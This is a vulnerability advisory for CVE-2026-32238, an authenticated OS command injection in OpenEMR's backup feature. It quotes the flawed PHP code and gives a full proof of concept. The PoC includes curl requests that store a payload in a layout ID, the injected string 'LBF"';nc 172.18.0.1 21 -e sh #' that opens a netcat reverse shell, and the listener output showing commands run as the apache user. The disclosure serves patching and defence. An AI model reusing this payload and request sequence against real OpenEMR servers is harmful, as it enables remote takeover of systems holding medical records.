# CVE-2026-32238 - Remote Code Execution in OpenEMR <8.0.0.2 > Weakness CWE-78 : Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') >> The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. ### Summary OpenEMR <8.0.0.1 contains multiples Command injection vulnerabilities in the backup functionality that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the backup functionality. ### Details The vulnerability occurs in the backup functionality where multiples *ID* are SQL escaped in a SQL statement embedded within the OS command but not shell-escaped. Those *ID* values are *trusted* after verifying that the user-supplied inputs exists in the database. User can insert any value in those SQL *ID* columns concatenate to the shell command. Summary: Certain shell commands concatenate user-supplied input without proper sanitization, which may lead to command injection vulnerabilities. This allows attackers to inject malicious OS shell commands. The vulnerability affects the following lines: - `interface/main/backup.php` [lines 775, 776, 784, 786, 788 and 789](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L775) vulnerabilities - `interface/main/backup.php` [line 768](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L768), check value exists. - `interface/main/backup.php` [line 763](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L763), check value do not contains *backtick*. - `interface/main/backup.php` [line 761](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L761), loop for each values. - `interface/main/backup.php` [line 742](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L742), get values from POST data. - `interface/main/backup.php` [line 816, 818, 822, 824, 828, 831, 835 and 838](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L816) vulnerabilities - `interface/main/backup.php` [line 807 and 808](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L807), check value exists. - `interface/main/backup.php` [line 802](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L802), check value do not contains *backtick*. - `interface/main/backup.php` [line 800](https://github.com/openemr/openemr/blob/7f27cbd146104b9adaffc4be3bd1185c28505873/interface/main/backup.php#L800), loop for each values from POST data. To exploit those vulnerabilites the payload should be stored in: `list_options.option_id`, `list_options.list_id`, `layout_options.form_id` or `layout_group_properties.grp_form_id`. ```php if (!empty($form_sel_lists)) { foreach ($form_sel_lists as $listid) { if (str_contains((string) $listid, '`')) { continue; } $listid_check = sqlQuery("SELECT `list_id` FROM `list_options` WHERE `list_id` = ? OR `option_id` = ?", [$listid, $listid]); if (empty($listid_check['list_id'])) { continue; } if (IS_WINDOWS) { $cmd .= " echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & "; $cmd .= " echo 'DELETE FROM list_options WHERE list_id = 'lists' AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . " & "; $cmd .= $dumppfx . " --where=\"list_id = 'lists' AND option_id = '$listid' OR list_id = '$listid' " . "ORDER BY list_id != 'lists', seq, title\" " . escapeshellarg((string) $sqlconf["dbase"]) . " list_options"; $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & "; } else { $cmdarr[] = "echo 'DELETE FROM list_options WHERE list_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" . "echo 'DELETE FROM list_options WHERE list_id = \"lists\" AND option_id = \"" . add_escape_custom($listid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";" . $dumppfx . " --where='list_id = \"lists\" AND option_id = \"" . add_escape_custom($listid) . "\" OR list_id = \"" . add_escape_custom($listid) . "\" " . "ORDER BY list_id != \"lists\", seq, title' " . escapeshellarg((string) $sqlconf["dbase"]) . " list_options" . " >> " . escapeshellarg($EXPORT_FILE) . ";"; } } } if (is_array($_POST['form_sel_layouts'] ?? '')) { $do_history_repair = false; $do_demographics_repair = false; foreach ($_POST['form_sel_layouts'] as $layoutid) { if (str_contains((string) $layoutid, '`')) { continue; } $layoutid_check_one = sqlQuery("SELECT `form_id` FROM `layout_options` WHERE `form_id` = ?", [$layoutid]); $layoutid_check_two = sqlQuery("SELECT `grp_form_id` FROM `layout_group_properties` WHERE `grp_form_id` = ?", [$layoutid]); if (empty($layoutid_check_one['list_id']) && empty($layoutid_check_two['grp_form_id'])) { continue; } if (IS_WINDOWS) { $cmd .= " echo DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " & "; } else { $cmd .= "echo 'DELETE FROM layout_options WHERE form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";"; } if (IS_WINDOWS) { $cmd .= "echo DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\"; >> " . escapeshellarg($EXPORT_FILE) . " &;"; } else { $cmd .= "echo 'DELETE FROM layout_group_properties WHERE grp_form_id = \"" . add_escape_custom($layoutid) . "\";' >> " . escapeshellarg($EXPORT_FILE) . ";"; } if (IS_WINDOWS) { $cmd .= $dumppfx . ' --where="grp_form_id = \'' . add_escape_custom($layoutid) . "'\" " . escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties"; $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & "; $cmd .= $dumppfx . ' --where="form_id = \'' . add_escape_custom($layoutid) . '\' ORDER BY group_id, seq, title" ' . escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ; $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . " & "; } else { $cmd .= $dumppfx . " --where='grp_form_id = \"" . add_escape_custom($layoutid) . "\"' " . escapeshellarg((string) $sqlconf["dbase"]) . " layout_group_properties"; $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";"; $cmd .= $dumppfx . " --where='form_id = \"" . add_escape_custom($layoutid) . "\" ORDER BY group_id, seq, title' " . escapeshellarg((string) $sqlconf["dbase"]) . " layout_options" ; $cmd .= " >> " . escapeshellarg($EXPORT_FILE) . ";"; } if (str_starts_with((string) $layoutid, 'HIS')) { $do_history_repair = true; } if (str_starts_with((string) $layoutid, 'DEM')) { $do_demographics_repair = true; } } ``` ```sh echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = ""' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql'; ``` #### Permissions ```php if (!AclMain::aclCheckCore('admin', 'super')) { echo (new TwigContainer(null, $GLOBALS['kernel']))->getTwig()->render('core/unauthorized.html.twig', ['pageTitle' => xl("Backup")]); exit; } ``` ### PoC For this POC i use the `layout_group_properties.grp_form_id` column: 1. Insert the payload in `layout_group_properties.grp_form_id` 2. Call backup functionality using the same payload ``` ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&formaction=addgroup&newgroupname=1&newgroupparent=1&&layout_id=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/super/edit_layout.php' ┌──(kali㉿kali)-[~] └─$ curl -k -b "OpenEMR=de5348462330a02590ba31c91b2df758" --data 'csrf_token_form=57f25fd0b5172f9b9e692c4051e187486c83735c&form_step=102&form_cb_addlists=1&form_sel_lists[]=userlist1&form_sel_lists[]=userlist2&form_sel_lists[]=userlist3&form_sel_lists[]=LA28397-0&form_sel_layouts[]=LBF%22%27%3Bnc%20172.18.0.1%2021%20-e%20sh%20%23' 'http://172.18.0.3/interface/main/backup.php' ┌──(kali㉿kali)-[~] └─$ ``` #### Database ``` MariaDB [openemr]> SELECT grp_form_id, grp_group_id FROM layout_group_properties; +--------------------------------+--------------+ | grp_form_id | grp_group_id | +--------------------------------+--------------+ | DEM | | | DEM | 1 | | DEM | 2 | | DEM | 3 | | DEM | 4 | | DEM | 5 | | DEM | 6 | | DEM | 8 | | FACUSR | | | FACUSR | 1 | | HIS | | | HIS | 1 | | HIS | 2 | | HIS | 3 | | HIS | 4 | | HIS | 5 | | LBF"';nc 172.18.0.1 21 -e sh # | 11 | | LBTbill | | | LBTbill | 1 | | LBTlegal | | | LBTlegal | 1 | | LBTphreq | | | LBTphreq | 1 | | LBTptreq | | | LBTptreq | 1 | | LBTref | | | LBTref | 1 | | LBTref | 2 | +--------------------------------+--------------+ 28 rows in set (0.003 sec) MariaDB [openemr]> ``` #### Reverse shell payload ```sh nc 172.18.0.1 21 -e sh ``` ##### Injection ``` LBF"';nc 172.18.0.1 21 -e sh # ``` ##### Final ```sh echo 'SET character_set_client = utf8;' > '/tmp/openemr_config.sql';echo 'DELETE FROM layout_options WHERE form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';echo 'DELETE FROM layout_group_properties WHERE grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #";' >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='grp_form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #"' 'openemr' layout_group_properties >> '/tmp/openemr_config.sql';/usr/bin/mysqldump -u 'openemr' -p'openemr' -h 'mysql' --port='3306' --ignore-table='openemr.onsite_activity_view' --hex-blob --skip-opt --quote-names --no-tablespaces --complete-insert --no-create-info --skip-comments --where='form_id = "LBF\"\';nc 172.18.0.1 21 -e sh #" ORDER BY group_id, seq, title' 'openemr' layout_options >> '/tmp/openemr_config.sql'; ``` ##### Tools I don't know if netcat (`nc`) is required but it's installed by default in the docker container (it's very usefull for this exploit). ##### User and current directory ``` ┌──(root㉿kali)-[/home/kali] └─# nc -lvnp 21 listening on [any] 21 ... connect to [172.18.0.1] from (UNKNOWN) [172.18.0.3] 44041 whoami apache id uid=1000(apache) gid=102(apache) groups=82(www-data),102(apache),102(apache) pwd /var/www/localhost/htdocs/openemr/interface/main ``` ### Impact - Server-side code execution ### Vulnerability Fix Process 1. Assess and validate the vulnerability 2. Request or assign a CVE ID 3. Create a private fork or private branch 4. Develop the fix 5. Write regression and security tests 6. Prepare release notes and security advisory draft 7. Publish the fix (code merge) and release a patched version 8. Publicly disclose the vulnerability ### Credits - Researcher: Christophe SUBLET - Organization: Grenoble INP - Esisar, UGA - Project: CyberSkills, Orion